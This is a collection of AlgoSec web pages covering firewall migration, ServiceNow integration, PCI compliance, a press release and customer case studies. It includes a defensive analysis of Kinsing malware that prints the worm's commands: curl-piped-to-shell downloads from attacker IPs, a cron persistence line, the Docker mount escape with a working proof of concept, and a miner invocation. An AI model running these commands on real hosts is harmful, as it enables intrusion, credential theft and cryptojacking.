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It goes without saying that security is the cornerstone of any organization today. This includes ensuring access to corporate data is... Firewall Change Management Firewall migration tips & best practices Joanne Godfrey 2 min read Joanne Godfrey Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. firewallmigration Tags Share this article 8/18/14 Published It goes without saying that security is the cornerstone of any organization today. This includes ensuring access to corporate data is secured, connectivity to the data center from both internal and external users is secured, and that critical security updates are installed. Now comes the big question: what if you have to migrate your security policy to a new platform? With cloud computing and distributed data centers across the world nothing in technology is ever constant anymore. So how do you control and manage a firewall migration? What if you use multiple vendors’ solutions with both virtual and physical appliances? A firewall migration can be as simple as moving from one model to another, or a lot more complicated. As an experienced cloud architect, I’ve been a part of a number of firewall migration projects. Here are three tips to help make your firewall migration project a little bit easier. Create powerful firewall and security visibility map. All aspects of your firewall must be documented and well planned before doing a migration, and you must plan for both current as well as future needs. Start by gathering information: create a visual, dynamic map of your firewall architecture and traffic, which should include all technical connectivity data. Understand, document and prepare policy migration. Once you have your visual firewall map it’s time to look under the hood. One firewall might be easy, but is it ever really just one security appliance? The dynamic nature of the modern data center means that multiple security vendors can live under one roof. So how do you create a policy migration plan around heterogeneous platforms? You need to identify and document all the security policies and services and network algorithms for each firewall end-point. Analyze business impact and create a migration path. How do your applications interact with various security policies? Do you have specific business units relying on specific firewall traffic? How are various data centers being segmented by your security policies? Migrating a firewall will have a business-wide impact. You must ensure that this impact is absolutely minimal. You need to understand how your entire business model interacts with firewall and security technologies and if any piece of the business is forgotten technological headaches may be the least of your worries. Migrating a firewall doesn’t have to be hard, but it must be well planned. With so much information traversing the modern data center, it’s imperative to have complete visibility across the security architecture. Ultimately, with the right tools to help you plan, map and actually implement a firewall change process, and lots of cups of coffee, you can greatly reduce security migration complexity. #FirewallMigration Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

AlgoSec’s Integration with ServiceNow allows AlgoSec users to automate security change management and accelerate application deployments... Information Security AlgoSec and ServiceNow: Managing Network Security Policies and Processes Within ServiceNow Amir Erel 2 min read Amir Erel Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 2/3/20 Published AlgoSec’s Integration with ServiceNow allows AlgoSec users to automate security change management and accelerate application deployments within their existing ServiceNow platform It isn’t easy for organizations to get holistic visibility and management across their increasingly complex, hybrid network environments. Application owners need to make changes to existing applications or launch new ones quickly to drive the business. Meanwhile, IT and security teams must maintain security, reduce the risk of outages and misconfigurations, and meet audit and compliance demands. It’s a difficult balance to achieve. In our 2019 cloud security survey , a lack of visibility into their entire network estate and seamless management of cloud and on-prem environments were two of the biggest challenges cited by organizations. Over 40% also reported having a network or application outage, with the leading cause being operational or human errors in making changes. So robust network security management and automation of processes are increasingly mission-critical. To manage network security changes efficiently, application owners prefer to use the familiar tools and workflows that they already know, while security owners need to understand the business context of the policies to ensure that they are making the right decisions to protect the organization’s assets. AlgoSec’s integration with ServiceNow’s IT Service Management solution allows these different stakeholders to share a single management. This bridges the gap between application and security teams and gives them both a holistic view of security, risk and compliance across their entire network environment. This, in turn, accelerates application delivery and strengthens the organization’s security and compliance postures. By integrating the AlgoSec Security Management Suite with ServiceNow, organizations can automate and enrich security policy change management while remaining entirely within the tool their team is already using, with the added benefit of business context. The solution works seamlessly with existing processes and workflows, which helps accelerate the rate of adoption across entire networks. Automating change management processes Making a single change in a complex enterprise environment could take days or even weeks. Using intelligent, highly customizable workflows, AlgoSec automates the entire security policy change process – from planning and design through to submission, proactive risk analysis, implementation, validation and auditing – all with zero-touch, enabling organizations to reduce change request processing times to minutes. By working with the tools that your organization is already familiar with, you don’t need to learn new workflows and user interfaces. Your application and IT teams can continue to use the tools they already know, and encourage organizational buy-in for automated network security policy change management. For more information on AlgoSec’s integration with ServiceNow, download the datasheet or watch the demo . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

In this webinar, our experts demonstrate the usage of Objectflow in managing network objects Webinars Introducing Objectflow: Network Security Objects Made Simple In this webinar, our experts demonstrate the usage of Objectflow in managing network objects. January 31, 2022 Yoni Geva Product Manager Jacqueline Basil Product Marketing Manager Relevant resources AlgoSec Horizon AppViz – Rule Recertification Watch Video Changing the rules without risk: mapping firewall rules to business applications Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Learn how to create a practical container security framework that protects Kubernetes environments throughout their entire lifecycle, from CI/CD security to secrets management, with AlgoSec. Containerization technologies Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. Container security across the Kubernetes lifecycle The modern attack surface: Containerization, Kubernetes security, and container vulnerabilities Shift left: CI/CD security, secure base images, and container image scanning Container security, orchestration security, and container hardening in Kubernetes How AlgoSec helps Runtime protection and container vulnerabilities for containerized workloads How AlgoSec helps End-to-end container security with AlgoSec’s Prevasio Next steps: Secrets management and container security checklist Get the latest insights from the experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

AlgoSec leads in automating application connectivity and security policy management, essential for complex hybrid and multi-cloud networks AlgoSec Achieves Outperformer Status in GigaOm’s Cloud Network Security Radar Report AlgoSec leads in automating application connectivity and security policy management, essential for complex hybrid and multi-cloud networks February 15, 2024 Speak to one of our experts RIDGEFIELD PARK, N.J., Feb 15, 2024 – Global cybersecurity leader AlgoSec has been named a Market Outperformer in GigaOm’s first cloud network security Radar Report, recognizing its position at the forefront of Cloud security innovation. The GigaOm Radar report highlights key cloud network security vendors to equip IT decision-makers with the information they need to select the best fit for their business. It measures selected vendors based on their execution and ability to innovate. In the report, Andrew Green, IT writer and practitioner, acknowledged several of AlgoSec’s distinguishing capabilities including Automation and Security Policy Management: “AlgoSec automates application connectivity and security policy across the hybrid network estate including public cloud, private cloud, containers, and on-premises networks.” Comprehensive Solution Suite : “AlgoSec delivers cloud network security solutions via its Horizon Security Analyzer, Horizon FireFlow, and AlgoSec Cloud products. AlgoSec Cloud provides application-based risk identification and security policy management across multi-cloud environments.” Real-Time Network Mapping : “A real-time network map provides a comprehensive view and connectivity flows of security and networking appliances such as firewalls, routers, and switches.” Other highlights from the report include infrastructure as code (IaC) security scanning capability, which produces “what-if” risks and vulnerability analysis scans within existing source control applications, and AlgoBot, an intelligent chatbot that assists with change management processes. Green said: “Network security policy managers have a distinct set of features, with particularly strong observability, misconfiguration, and simulation capabilities. These solutions are less invasive as they orchestrate only existing appliances without imposing architectural changes, and they can help enterprises reach the low-hanging fruit for improving their security posture. AlgoSec offers a range of innovative developments, including AlgoBot, which helps with change management processes, and the solution’s capabilities for planning and simulations.” “We are at the forefront of a pivotal shift within cloud network security”, said Eran Shiff, VP Product at AlgoSec. “To effectively address the needs of businesses working in a complex hybrid world, we are disregarding conventional norms and operating deep within the cloud application level. By understanding the business context and purpose of every application, we are enabling our customers to gain visibility, reduce overall risk and process hundreds of application changes with zero-touch across a hybrid network. Our inclusion in this report is a testament of this evolution and marks a new chapter in securing application connectivity.” AlgoSec is trusted by more than 1,800 of the world’s leading organizations including NCR Corporation, a leading global point-of-sale (POS) provider for restaurants, retailers, and banks and a provider of multi-vendor ATM software. Commenting on the partnership, Scott Theriault, Global Manager, Network Perimeter Security at NCR said: “As we aspire to achieve zero-trust, when moving into the cloud, micro-segmentation and container security come into play. Therefore, we need tools like AlgoSec to assist us in the journey because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface,” stated Theriault. About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to secure application connectivity and cloud-native applications throughout their multi-cloud and hybrid network. Trusted by more than 1,800 of the world’s leading organizations, AlgoSec’s application-centric approach enables to securely accelerate business application deployment by centrally managing application connectivity and security policies across the public clouds, private clouds, containers, and on-premises networks. Using its unique vendor-agnostic deep algorithm for intelligent change management automation, AlgoSec enables acceleration of digital transformation projects, helps prevent business application downtime and substantially reduces manual work and exposure to security risks. AlgoSec’s policy management and CNAPP platforms provide a single source for visibility into security and compliance issues within cloud-native applications as well as across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Learn how AlgoSec enables application owners, information security experts, DevSecOps and cloud security teams to deploy business applications up to 10 times faster while maintaining security at www.algosec.com . About GigaOm GigaOm provides technical, operational, and business advice for strategic digital enterprise and business initiatives. Enterprise business leaders, CIOs, and technology organizations partner with GigaOm for practical, actionable, strategic, and visionary advice for modernizing and transforming their business. GigaOm’s advice empowers enterprises to successfully compete in an increasingly complicated business atmosphere that requires a solid understanding of constantly changing customer demands. GigaOm works directly with enterprises both inside and outside of the IT organization to apply proven research and methodologies designed to avoid pitfalls and roadblocks while balancing risk and innovation. Research methodologies include but are not limited to adoption and benchmarking surveys, use cases, interviews, ROI/TCO, market landscapes, strategic trends, and technical benchmarks. Our analysts possess 20+ years of experience advising a spectrum of clients from early adopters to mainstream enterprises. GigaOm’s perspective is that of the unbiased enterprise practitioner. Through this perspective, GigaOm connects with engaged and loyal subscribers on a deep and meaningful level.

So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1... Auditing and Compliance Avoid the Traps: What You Need to Know About PCI Requirement 1 (Part 3) Matthew Pascucci 2 min read Matthew Pascucci Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 9/9/14 Published So we’ve made it to the last part of our blog series on PCI 3.0 Requirement 1. The first two posts covered Requirement 1.1 (appropriate firewall and router configurations) and 1.2 (restrict connections between untrusted networks and any system components in the cardholder data environment) and in this final post we’ll discuss key requirements of Requirements 1.3 -1.5 and I’ll again give you my insight to help you understand the implications of these requirements and how to comply with them. Implement a DMZ to limit inbound traffic to only system components that provide authorized publicly accessible services, protocols, and ports (1.3.1.): The DMZ is used to publish services such as HTTP and HTTPS to the internet and allow external entities to access these services. But the key point here is that you don’t need to open every port on the DMZ. This requirement verifies that a company has a DMZ implemented and that inbound activity is limited to only the required protocols and ports. Limit inbound Internet traffic to IP addresses within the DMZ (1.3.2): This is a similar requirement to 1.3.1, however instead of looking for protocols, the requirement focuses on the IPs that the protocol is able to access. In this case, just because you might need HTTP open to a web server, doesn’t mean that all systems should have external port 80 open to inbound traffic. Do not allow any direct connections inbound or outbound for traffic between the Internet and the cardholder data environment (1.3.3): This requirement verifies that there isn’t unfiltered access, either going into the CDE or leaving it, which means that all traffic that traverses this network must pass through a firewall. All unwanted traffic should be blocked and all allowed traffic should be permitted based on an explicit source/destination/protocol. There should never be a time that someone can enter or leave the CDE without first being inspected by a firewall of some type. Implement anti-spoofing measures to detect and block forged source IP addresses from entering the network (1.3.4): In an attempt to bypass your firewall, cyber attackers will try and spoof packets using the internal IP range of your network to make it look like the request originated internally. Enabling the IP spoofing feature on your firewall will help prevent these types of attacks. Do not allow unauthorized outbound traffic from the cardholder data environment to the Internet (1.3.5): Similar to 1.3.3, this requirement assumes that you don’t have direct outbound access to the internet without a firewall. However in the event that a system has filtered egress access to the internet the QSA will want to understand why this access is needed, and whether there are controls in place to ensure that sensitive data cannot be transmitted outbound. Implement stateful inspection, also known as dynamic packet filtering (1.3.6): If you’re running a modern firewall this feature is most likely already configured by default. With stateful inspection, the firewall maintains a state table which includes all the connections that traverse the firewall, and it knows if there’s a valid response from the current connection. It is used to stop attackers from trying to trick a firewall into initiating a request that didn’t previously exist. Place system components that store cardholder data (such as a database) in an internal network zone, segregated from the DMZ and other untrusted networks (1.3.7): Attackers are looking for your card holder database. Therefore, it shouldn’t be stored within the DMZ. The DMZ should be considered an untrusted network and segregated from the rest of the network. By having the database on the internal network provides another layer of protection against unwanted access. [Also see my suggestions for designing and securing you DMZ in my previous blog series: The Ideal Network Security Perimeter Design: Examining the DMZ Do not disclose private IP addresses and routing information to unauthorized parties (1.3.8): There should be methods in place to prevent your internal IP address scheme from being leaked outside your company. Attackers are looking for any information on how to breach your network, and giving them your internal address scheme is just one less thing they need to learn. You can stop this by using NAT, proxy servers, etc. to limit what can be seen from the outside. Install personal firewall software on any mobile and/or employee-owned devices that connect to the Internet when outside the network (for example, laptops used by employees), and which are also used to access the network (1.4): Mobile devices, such as laptops, that can connect to both the internal network and externally, should have a personal firewall configured with rules that prevent malicious software or attackers from communicating with the device. These firewalls need to be configured so that their rulebase can never be stopped or changed by anyone other than an administrator. Ensure that security policies and operational procedures for managing firewalls are documented, in use, and known to all affected parties (1.5): There needs to be a unified policy regarding firewall maintenance including how maintenance procedures are performed, who has access to the firewall and when maintenance is scheduled. Well, that’s it! Hopefully, my posts have given you a better insight into what is actually required in Requirement 1 and what you need to do to comply with it. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Atruvia (formerly Fiducia IT AG) Reduces Security Risks For Banks With Algosec Organization Atruvia Industry Technology Headquarters Karlsruhe, Deutschland Download case study Share Customer
success stories "AlgoSec’s Security Management Solution is incredibly powerful. Its intelligent process improvements have directly translated into the highest level of security and compliance for our customers’ networks" Background With over 45 years’ experience in the banking sector, Atruvia ( formerly Fiducia IT AG) is one of the top ten IT providers in Germany. Today, Atruvia manages the IT networks of nearly 1,100 banks, constituting more than 100,000 PC workstations, 6,600 servers and 25,000 self-service banking terminals. Responsible for ensuring the smooth and secure processing of more than 16 billion transactions per year for its customers, Atruvia’s risk mitigation and regulatory compliance strategies are of utmost importance. Challenge To protect its customer networks, Atruvia implemented a number of security solutions, including 60 Check Point and 20 Juniper firewall clusters. However, managing multiple firewalls in a multi-vendor environment proved challenging. “Performing vulnerability assessments for such a large and complex firewall environment was extremely time-consuming, labor-intensive and prone to human error,” says Lutz Bleyer, Atruvia’s Chief Information Security Officer. With multiple stakeholders at each of its client organizations, Atruvia required a structured change management process to prevent firewall policies from growing unmanageable and creating security risks. “We needed a proven firewall management and workflow solution to eliminate potential security risks while providing us with complete visibility into our customer networks, anytime, anywhere,” says Bleyer. Solution After an in-depth analysis, Atruvia chose the AlgoSec Security Management Solution to optimize its security, compliance and change management processes. “AlgoSec provided the most comprehensive, intelligent automation solution for our firewall operations, helping us increase efficiency while improving risk mitigation and compliance,” says Bleyer. Results AlgoSec’s topology-aware technology provides Atruvia with complete visibility into the security landscape of its customers’ networks. “AlgoSec’s in-depth visibility enables us to easily create a hierarchy profile and establish a competency baseline of operations for each networks’ firewalls, even when multiple vendor technologies are involved,” says Bleyer. Atruvia’s security consultants and auditors are now closely aligned with their customers’ IT teams, regardless of their location. “The level of visibility AlgoSec provides across our customers’ security networks, and the ability to perform coordinated tasks remotely with them, enables us to work hand-in-hand as a joint team,” says Bleyer. Atruvia also uses AlgoSec to automate policy change management across customers’ firewall environments, enabling the company to eliminate manual and inefficient processes associated with the security policy change lifecycle, save time and reduce the potential for human error. “AlgoSec has fundamentally changed how we manage sophisticated, multi-device, multi-vendor firewall environments. By automating our workflows, we’ve eliminated unnecessary policy changes and reduced the time required to process changes by half,” explains Bleyer. “Thanks to AlgoSec’s intelligent automation, we’ve gained valuable optimization capabilities enabling our teams to operate smarter and faster.” Another important AlgoSec feature is its automatic assessment and reporting capabilities, which help Atruvia ensure that it remains in continuous compliance with corporate governance rules and adheres to regulatory standards, including ISO 27001, ISO 27002 and Sarbanes-Oxley (SOX). Data and network security, particularly within the financial sector, requires incredible focus on risk management and mitigation. “With AlgoSec we can now analyze every change and its impact on the network before it is live, and focus on risk mitigation rather than crisis management.” In summary, Bleyer commented, “Not only does AlgoSec more than measure up from a technology perspective, but the integrity of the company and its employees has surpassed our expectations and raised the bar for what we look for in other partners.” Schedule time with one of our experts

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Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Discovery Streamlines Firewall Audits And Simplifies The Change Workflow Organization Discovery Industry Financial Services Headquarters Johannesberg, South Africa Download case study Share Customer
success stories "With AlgoSec we can now get, in a click of a button, what took two to three weeks per firewall to produce manually" Background Discovery Limited is a South African-founded financial services organization that operates in the healthcare, life assurance, short-term insurance, savings and investment products and wellness markets. Founded in 1992, Discovery was guided by a clear core purpose — to make people healthier and to enhance and protect their lives. Underpinning this core purpose is the belief that through innovation, Discovery can be a powerful market disruptor. The company, with headquarters in Johannesburg, South Africa, has expanded its operations globally and currently serves over 4.4 million clients across South Africa, the United Kingdom, the United States, China, Singapore and Australia.Operating in the highly regulated insurance and health sectors, Discovery monitors its compliance with international privacy laws and security criteria, includingPCI-DSS globally, Sarbanes-Oxley and HIPAA in the US, the Data Protection Act in the UK, and South Africa’s Protection of Personal Information Act. Challenge During its early years, the company managed its firewalls through an internally developed, legacy system which offered very limited visibility into the change request process.“We grew faster than anyone expected,” says Marc Silver, Security Manager at Discovery. “We needed better visibility into what changes were requested to which firewall, for what business need and also to ensure proper risk analysis.”Discovery’s growth necessitated a rapid increase in the number of firewalls deployed, and the corresponding ruleset sizes. The time required to audit them grew by orders of magnitude, ultimately taking up to three weeks per firewall. The IT Security team of four engineers recognized that it needed a fresh approach to manage risk and ensure compliance. Solution Discovery chose the AlgoSec Security Management Solution to deliver automated, comprehensive firewall operations, risk analysis and change management. Silver states that compared to AlgoSec’s competitors, “AlgoSec has a more tightly integrated change control, and is easier to manage. Another big advantage is how it finds unused rules and recommends rule consolidations,” says Silver.AlgoSec’s integration with Request Tracker (RT) change management system was also important in Discovery’s selection of a security management solution. “We use RT for our internal ticketing system, and the stability of AlgoSec’s integration with RT met our requirements. AlgoSec’s visual workflow is clear, easy to understand and more mature than the others we evaluated,” adds Silver. Results Since implementing AlgoSec, Discovery has found its security audits running more effectively. Discovery relies on AlgoSec’s built-in compliance reports to address Sarbanes-Oxley, HIPAA, PCI-DSS, and other national and international regulatory requirements. “Every year internal auditors would take our entire rulesets for each firewall pair and tell us where we needed to make improvements. AlgoSec now allows us to submit an automated report to our auditing team. It tells them what our security state is, and what needs to be remediated. The total process used to take three months. Now, in a click of a button, we can get what took two to three weeks per firewall to produce manually,” says Silver.Discovery has also found an unexpected advantage: “AlgoSec tells us what rules are in use and what rules are not. For one firewall, we were able to remove 30,000 rules. A firewall with 500,000 rules isn’t going to cope as well as one with 100,000 rules. By optimizing our devices, AlgoSec saves us money in the long term by enabling us to delay upgrading to a larger firewall,” adds Silver.In conclusion, Silver states that “Now we can see what is and isn’t happening in our security system. It has made a much bigger impact than we thought it would. With AlgoSec’s policy optimization, and the time we save on compliance, AlgoSec has given us a much stronger competitive edge than we had six months ago.” Schedule time with one of our experts

The firewall audit checklist: Six best practices for simplifying firewall compliance and risk mitigation Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

ALGOSEC DESIGNATED SUPPORT ENGINEER Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue